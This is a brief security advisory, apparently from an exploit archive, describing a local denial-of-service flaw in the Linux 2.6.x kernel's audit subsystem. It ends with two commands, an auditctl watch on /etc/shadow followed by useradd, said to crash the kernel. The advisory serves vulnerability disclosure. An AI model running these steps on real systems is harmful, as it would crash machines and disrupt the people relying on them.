Linux Kernel 2.6.x - Audit Subsystems Local Denial of Service

source: https://www.securityfocus.com/bid/22737/info

The Linux Kernel is prone to a denial-of-service vulnerability.

A local attacker can exploit this issue to crash the kernel.

Linux kernel versions 2.6.x are vulnerable to this issue.

1. auditctl -w /etc/shadow
2. useradd userb